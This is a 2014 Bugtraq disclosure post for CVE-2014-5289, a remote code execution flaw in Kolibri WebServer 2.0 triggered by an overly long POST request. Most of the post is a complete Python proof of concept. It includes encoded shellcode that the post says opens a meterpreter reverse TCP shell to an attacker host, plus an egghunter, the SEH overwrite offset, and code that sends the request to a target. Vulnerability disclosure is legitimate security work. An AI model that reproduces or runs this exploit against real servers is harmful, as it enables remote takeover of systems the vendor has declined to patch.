[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]
CVE-2014-5289 - Kolibri WebServer 2.0 Vulnerable to RCE via Overly Long POST Request
- To: bugtraq@xxxxxxxxxxxxxxxxx
- Subject: CVE-2014-5289 - Kolibri WebServer 2.0 Vulnerable to RCE via Overly Long POST Request
- From: tekwizz123@xxxxxxxxxx
- Date: Sun, 17 Aug 2014 15:25:46 GMT
Exploit Details
------------------
Senkas Kolibri WebServer 2.0 (available at
http://www.senkas.com/kolibri/download.php) is vulnerable to RCE via an overly
long POST request.
Sending the exploit will result in a SEH overwrite, which can then be use to
redirect execution to a POP POP RET within the application's binary itself,
which once executed, will allow the attacker to execute his/her payload located
in the HOST field.
PoC
---------------
A PoC of this exploit follows. This will result in a meterpreter reverse tcp
shell to 192.168.62.129 on port 4444. The exploit currently also bypasses ASLR
by overwriting the SEH handler with an address from the binary itself. The
offset in this exploit was confirmed to work on a Windows 7 Professional
machine, fully updated as of August 5th, 2014:
PoC Code
----------------------------------
#!/bin/python
import socket
#[*] x86/alpha_mixed succeeded with size 636 (iteration=1)
buf = "\x45\x44\x44\x43\x45\x44\x44\x43" # TAG
buf += "\x89\xe5\xda\xdd\xd9\x75\xf4\x5f\x57\x59\x49\x49\x49"
buf += "\x49\x49\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43"
buf += "\x37\x51\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41"
buf += "\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42"
buf += "\x58\x50\x38\x41\x42\x75\x4a\x49\x49\x6c\x69\x78\x6e"
buf += "\x66\x53\x30\x35\x50\x73\x30\x75\x30\x6d\x59\x4a\x45"
buf += "\x35\x61\x4e\x32\x33\x54\x6c\x4b\x31\x42\x66\x50\x6c"
buf += "\x4b\x62\x72\x34\x4c\x6c\x4b\x73\x62\x52\x34\x6e\x6b"
buf += "\x72\x52\x61\x38\x46\x6f\x6c\x77\x51\x5a\x66\x46\x45"
buf += "\x61\x59\x6f\x54\x71\x79\x50\x4c\x6c\x75\x6c\x50\x61"
buf += "\x51\x6c\x65\x52\x34\x6c\x47\x50\x6f\x31\x4a\x6f\x64"
buf += "\x4d\x57\x71\x6b\x77\x4a\x42\x7a\x50\x36\x32\x71\x47"
buf += "\x6e\x6b\x56\x32\x36\x70\x4c\x4b\x53\x72\x55\x6c\x4c"
buf += "\x4b\x50\x4c\x42\x30\x33\x48\x4b\x53\x32\x6a\x56\x61"
buf += "\x4a\x71\x50\x51\x4c\x4b\x43\x69\x67\x50\x47\x71\x79"
buf += "\x43\x6c\x4b\x31\x59\x62\x38\x68\x63\x77\x4c\x51\x59"
buf += "\x6e\x6b\x75\x64\x6c\x4b\x36\x61\x6b\x66\x44\x71\x49"
buf += "\x6f\x55\x61\x69\x50\x4e\x4c\x4b\x71\x38\x4f\x46\x6d"
buf += "\x37\x71\x78\x47\x65\x68\x39\x70\x34\x35\x7a\x54\x47"
buf += "\x73\x73\x4d\x79\x68\x37\x4b\x33\x4d\x64\x64\x70\x75"
buf += "\x6a\x42\x56\x38\x6c\x4b\x72\x78\x75\x74\x53\x31\x4e"
buf += "\x33\x50\x66\x4c\x4b\x54\x4c\x70\x4b\x6c\x4b\x36\x38"
buf += "\x65\x4c\x33\x31\x4e\x33\x4e\x6b\x67\x74\x4c\x4b\x76"
buf += "\x61\x48\x50\x6f\x79\x71\x54\x51\x34\x34\x64\x43\x6b"
buf += "\x71\x4b\x73\x51\x53\x69\x32\x7a\x42\x71\x79\x6f\x4d"
buf += "\x30\x42\x78\x43\x6f\x51\x4a\x6c\x4b\x37\x62\x58\x6b"
buf += "\x6d\x59\x31\x4d\x45\x38\x70\x33\x74\x72\x63\x30\x67"
buf += "\x70\x75\x38\x70\x77\x33\x43\x46\x52\x31\x4f\x42\x74"
buf += "\x70\x68\x62\x6c\x63\x47\x65\x76\x56\x67\x6b\x4f\x4b"
buf += "\x65\x6c\x78\x6e\x70\x76\x61\x45\x50\x37\x70\x45\x79"
buf += "\x49\x54\x76\x34\x70\x50\x65\x38\x76\x49\x4b\x30\x52"
buf += "\x4b\x45\x50\x49\x6f\x4b\x65\x46\x30\x50\x50\x70\x50"
buf += "\x76\x30\x37\x30\x42\x70\x47\x30\x42\x70\x71\x78\x48"
buf += "\x6a\x76\x6f\x4b\x6f\x49\x70\x39\x6f\x59\x45\x5a\x37"
buf += "\x50\x6a\x63\x35\x71\x78\x4f\x30\x6f\x58\x65\x6e\x4f"
buf += "\x71\x75\x38\x65\x52\x43\x30\x36\x71\x53\x6c\x6c\x49"
buf += "\x4d\x36\x73\x5a\x44\x50\x43\x66\x43\x67\x32\x48\x6a"
buf += "\x39\x49\x35\x62\x54\x63\x51\x59\x6f\x78\x55\x4f\x75"
buf += "\x59\x50\x42\x54\x36\x6c\x6b\x4f\x32\x6e\x65\x58\x72"
buf += "\x55\x7a\x4c\x30\x68\x38\x70\x58\x35\x6f\x52\x33\x66"
buf += "\x6b\x4f\x58\x55\x70\x6a\x35\x50\x72\x4a\x76\x64\x63"
buf += "\x66\x50\x57\x53\x58\x66\x62\x78\x59\x68\x48\x43\x6f"
buf += "\x79\x6f\x7a\x75\x6c\x4b\x65\x66\x72\x4a\x73\x70\x65"
buf += "\x38\x65\x50\x34\x50\x67\x70\x37\x70\x73\x66\x32\x4a"
buf += "\x43\x30\x55\x38\x43\x68\x4d\x74\x31\x43\x4b\x55\x39"
buf += "\x6f\x79\x45\x6e\x73\x42\x73\x31\x7a\x75\x50\x32\x76"
buf += "\x76\x33\x43\x67\x51\x78\x56\x62\x49\x49\x39\x58\x61"
buf += "\x4f\x69\x6f\x48\x55\x57\x71\x59\x53\x55\x79\x7a\x66"
buf += "\x4f\x75\x79\x66\x70\x75\x68\x6c\x4a\x63\x41\x41"
egghunter =
"\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74\xef\xb8\x45\x44\x44\x43\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7"
overflow = "A" * 12
overflow += "A" * (790 - len(overflow) - len(egghunter))
overflow += egghunter
overflow += "\xEB\xD9" # This offset seems to work against Windows 7
Professional, fully updated as of August 5th, 2014
overflow += "A" * 2
overflow += "\x50\x45\x62" #SEH overwrite 00624550 aka pop pop ret from the
binary itself.
# A lot of this is the same as exploit 34059 from exploit-db
buffer = "POST /" + overflow + " HTTP/1.1\r\n"
buffer += "User-Agent: Wget/1.13.4\r\n"
buffer += "Host: " + buf + "\r\n"
buffer += "Accept: */*\r\n"
buffer += "Connection: Keep-Alive\r\n"
buffer += "Content-Type: application/x-www-form-urlencoded\r\n"
buffer += "Content-Length: 4"
buffer += "\r\n\r\n"
buffer += "licenseID=string&content=string¶msXML=string"
handle = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
handle.connect(("192.168.62.130", 8080))
handle.send(buffer)
handle.close()
Conclusion
---------------------
Senkas has responded to previous posts about vulnerabilities in this software,
namely CVE-2014-4158 which results in RCE via an overly long GET request, and
CVE-2010-5301, which results in RCE via an overly long HEAD request, with the
statement, "Please note there are number of reported "security vulnerabilities"
for Kolibri webserver. So let me clarify that Kolibri+ is not secure and will
never be secure for the same reason bicycles don't have airbags."
For this reason I believe it is unlikely that this vulnerability will be
patched considering that the other two vulnerabilities remain unpatched to this
day.
From a quick reverse engineering of this target I believe that these three
vulnerabilities all occur in the same piece of code that responds to requests
for invalid pages, as a record of the invalid page request is stored on the
stack, however I did not confirm that this is the case, and this remains to be
proven.
Please feel free to question me if you require any more information to
replicate this bug or if any part of this is confusing at all.